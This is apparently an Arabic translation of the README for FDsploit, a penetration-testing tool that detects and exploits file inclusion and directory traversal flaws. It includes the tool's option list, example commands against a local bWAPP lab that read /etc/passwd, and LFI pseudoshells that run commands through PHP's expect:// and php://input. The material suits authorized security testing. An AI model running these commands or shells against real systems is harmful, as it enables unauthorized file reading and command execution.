
أداة تخمين (Fuzzing) وتعداد واستغلال تضمين الملفات واجتياز الدليل.
قائمة FDsploit:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
يمكن استخدام FDsploit لاكتشاف واستغلال ثغرات تضمين الملفات المحلية/عن بعد واجتياز الدليل تلقائياً. في حال العثور على ثغرة LFI، يمكن استخدام الخيار --lfishell لاستغلالها. حالياً، يتم دعم 3 أنواع مختلفة من واجهات LFI:
simple: يسمح هذا النوع من الواجهات للمستخدم بقراءة الملفات بسهولة دون الحاجة لكتابة الرابط في كل مرة. كما أنه يوفر فقط محتوى الملف و__ليس__ كود HTML الكامل للصفحة مما يجعله مفيداً جداً.expect: هذا النوع من الواجهات هو واجهة شبه تفاعلية تسمح للمستخدم بتنفيذ الأوامر من خلال غلاف expect:// الخاص بـ PHP.input: هذا النوع من الواجهات هو واجهة شبه تفاعلية تسمح للمستخدم أيضاً بتنفيذ الأوامر من خلال تدفق php://input الخاص بـ PHP.حتى الآن، يوجد أمران مدمجان فقط في واجهة LFI:
clear وexit.*).من المخرجات أدناه يبدو أن المعامل directory ربما يكون عرضة لثغرة اجتياز الدليل لأن كل طلب مع ../ كحمولة ينتج تجزئة sha-256 مختلفة. كما أن طول المحتوى مختلف لكل طلب:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
مرة أخرى، يبدو أن معامل اللغة عرضة لـ LFI لأن استخدام ../etc/passwd إلخ.. كحمولة، كل طلب يتم تلوينه بالأخضر ينتج تجزئة مختلفة، وطول محتوى مختلف عن الطلب الأولي، ويتم العثور على الكلمة المفتاحية المحددة في الاستجابة:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
استغلال LFI أعلاه باستخدام واجهة simple:
POST، يجب أيضاً تحديد الخيار --params.--payload على القيمة الافتراضية (None).--file لاختبار عناوين متعددة، فإن طلب GET فقط هو المدعوم.--file و --cookie، حيث يمكن تحديد كعكة واحدة فقط في كل مرة، يجب أن تشير العناوين إلى نفس النطاق أو تكون قابلة للوصول بدون كعكة (سيتم إصلاح ذلك في تحديث مستقبلي).input غير متوافقة مع فعل POST.ملاحظة: لتثبيت المتطلبات:
pip install -r requirements.txt --upgrade --user
💡 يأتي FDsploit أيضاً مثبتاً مسبقاً مع توزيعة BlackArch Linux.
--file يعمل أيضاً مع معاملات POST والكعكات، باستخدام ملف json إلخ... كمدخل.--lfishell مثل السجل إلخ...الملاحظات والمساهمات مرحب بها. إذا وجدت أي خطأ أو لديك طلب ميزة، فلا تتردد في فتح مشكلة، وبمجرد مراجعتها سأحاول إصلاحها!
هذه الأداة مخصصة فقط لأغراض الاختبار والأكاديمية ويمكن استخدامها فقط حيث تم الحصول على موافقة صارمة. لا تستخدمها لأغراض غير قانونية! إنها مسؤولية المستخدم النهائي الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. المطورين لا يتحملون أي مسؤولية ولا يكونون مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة والبرنامج بشكل عام.
هذا المشروع مرخص بموجب رخصة GPLv3 - راجع ملف LICENSE للتفاصيل.